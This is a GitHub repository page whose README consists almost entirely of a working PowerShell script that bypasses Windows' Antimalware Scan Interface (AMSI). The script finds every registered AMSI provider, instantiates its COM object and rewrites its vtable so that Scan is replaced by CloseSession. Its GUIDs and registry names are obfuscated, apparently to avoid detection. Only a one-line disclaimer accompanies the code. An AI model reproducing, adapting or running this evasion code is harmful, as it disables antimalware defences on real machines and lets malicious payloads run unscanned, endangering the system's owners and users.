Skip to content

AMSI (Antimalware Scan Interface) bypass by iterating through AMSI providers and patching the AntimalwareScan::Scan interface.

Notifications You must be signed in to change notification settings

radkum/AmsiProviderScanDisruption

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 

Repository files navigation

Patching AMSI AntimalwareScanInterface::Scan for all Amsi Providers

P.S Please do not use in unethical hacking and follow all rules and regulations of laws
#----------------------------------IMPORT
$kernel32 = Add-Type @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
	
	[DllImport("kernel32")]
	public static extern IntPtr GetModuleHandleA(string name);
}
"@

# Delegate for DllGetClassObject
$delegateType = Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class DelegatesWrapper
{
    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    public delegate int DllGetClassObjectDelegate(
        ref Guid clsid,
        ref Guid iid,
        out IntPtr ppv
    );
}
"@ -PassThru

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int CreateInstanceDelegate(
    IntPtr thisPtr,
    IntPtr pUnkOuter,
    ref Guid riid,
    out IntPtr ppvObject
);
"@


#------------------------RUNTIME
function run {
	[CmdletBinding()]
    param (
        [Parameter(Mandatory)]
        [Guid]$clsid,
		[Parameter(Mandatory)]
        [string]$name
    )
	
	$hModule = [kernel32]::GetModuleHandleA($name)
	if ($hModule -eq [IntPtr]::Zero) { 
		write-warning ("Cannot load DLL {0}" -f $name)
		return $false
	}

	$procPtr =[kernel32]::GetProcAddress($hModule, "DllGetClassObject")
	if ($procPtr -eq [IntPtr]::Zero) { 
		write-warning ("Cannot find DllGetClassObject in {0}" -f $name)
		return $false
	}

	$delType = [DelegatesWrapper+DllGetClassObjectDelegate]
	$del = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
		$procPtr, $delType
	)

	#---------------------------------CREATE INSTANCE
	[IntPtr]$pFactory = [IntPtr]::Zero
	$IID_ICF = [Guid]::Parse(("00000001-{1}{1}-{1}{1}-C{1}0-{0}46" -f ('0'*10), ('0'*2)))
	$hr = $del.Invoke([ref]$clsid, [ref]$IID_ICF, [ref]$pFactory)
	if ($hr -ne 0) {
		write-warning ("DllGetClassObject failed: 0x{0:X8} {1}" -f $hr, $name)
		return $false
	}

	# Read vtable pointer from object
	$vtablePtr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($pFactory)

	# IClassFactory vtable layout:
	$createInstancePtr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($vtablePtr, 3 * [IntPtr]::Size)
	$createInstanceDel = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
		$createInstancePtr,
		[Type][CreateInstanceDelegate]
	)

	[IntPtr]$pObj = [IntPtr]::Zero

	$IID_AM = [Guid]::Parse(("{3}2CA{3}FE{4}-FE0{0}-{0}2B1-A5DF-08D4{1}D4D{2}" -f '4', [int]'S'[0], (5*5*5), [char]('c'.tochararray()[0]-1),3))
	$hr = $createInstanceDel.Invoke($pFactory, [IntPtr]::Zero, [ref]$IID_AM, [ref]$pObj)
	if ($hr -ne 0) {
		write-warning ("CreateInstance failed: 0x{0:X8} {1}" -f $hr, $name)
		return $false
	}

	#---------------------------------CREATE CLOSE and DISPLAY delegates
	# Read vtable pointer of the object
	$objVTable = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($pObj)
	
	$vtable_len = 30 #how many functions should be overrided?
	
	$closeSessionPtr= [System.Runtime.InteropServices.Marshal]::ReadIntPtr($objVTable, 4 * [IntPtr]::Size)
	
	#recreate vtable
	$new_vtable = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($vtable_len * [IntPtr]::Size);
	for($i = 0; $i -lt $vtable_len; $i++) {
		try {
			$fnPtr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($objVTable, $i * [IntPtr]::Size)
			[System.Runtime.InteropServices.Marshal]::WriteIntPtr($new_vtable, $i * [IntPtr]::Size, $fnPtr)
		}
		catch {
			write-warning "Invalid memory read"
			break;
		}
	}
	
	#override Scan with CloseSession
	[System.Runtime.InteropServices.Marshal]::WriteIntPtr($new_vtable, 3 * [IntPtr]::Size, $closeSessionPtr)
	
	#overrride vtable ptr
	[System.Runtime.InteropServices.Marshal]::WriteIntPtr($pObj, 0, $new_vtable)

}

#------------------------CONSTANTS
$amsi = (Get-Item 'HKLM:\SOFTWARE\Microsoft\').getsubkeynames() | where {$_.endswith('SI')}
$providers = $(Get-Item 'HKLM:\SOFTWARE\Microsoft\').opensubkey($amsi).getsubkeynames()[0]
$l_names = (Get-Item 'HKLM:\SOFTWARE\Microsoft\').opensubkey($amsi).opensubkey($providers).getsubkeynames() | foreach { (split-path ((Get-Item ("HKLM:\SOFTWARE\classes\clsid\{0}" -f $_)).opensubkey(("in{1}server{0}" -f [byte]" "[0], "proc")).GetValue('').Trim('"')) -leaf) } 
$l_names = @($l_names)
$l_guids = (Get-Item 'HKLM:\SOFTWARE\Microsoft\').opensubkey($amsi).opensubkey($providers).getsubkeynames()
for($i = 0; $i -lt $l_names.Count; $i++) { 
	$res = Run -clsid $l_guids[$i] -name $l_names[$i]
	if ($res -eq $false) {
		write-warning ("Failed to patch {0}" -f $l_names[$i])
	} else {
		write-output ("{0} succesfully patched" -f $l_names[$i])
	}
}
"@

About

AMSI (Antimalware Scan Interface) bypass by iterating through AMSI providers and patching the AntimalwareScan::Scan interface.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published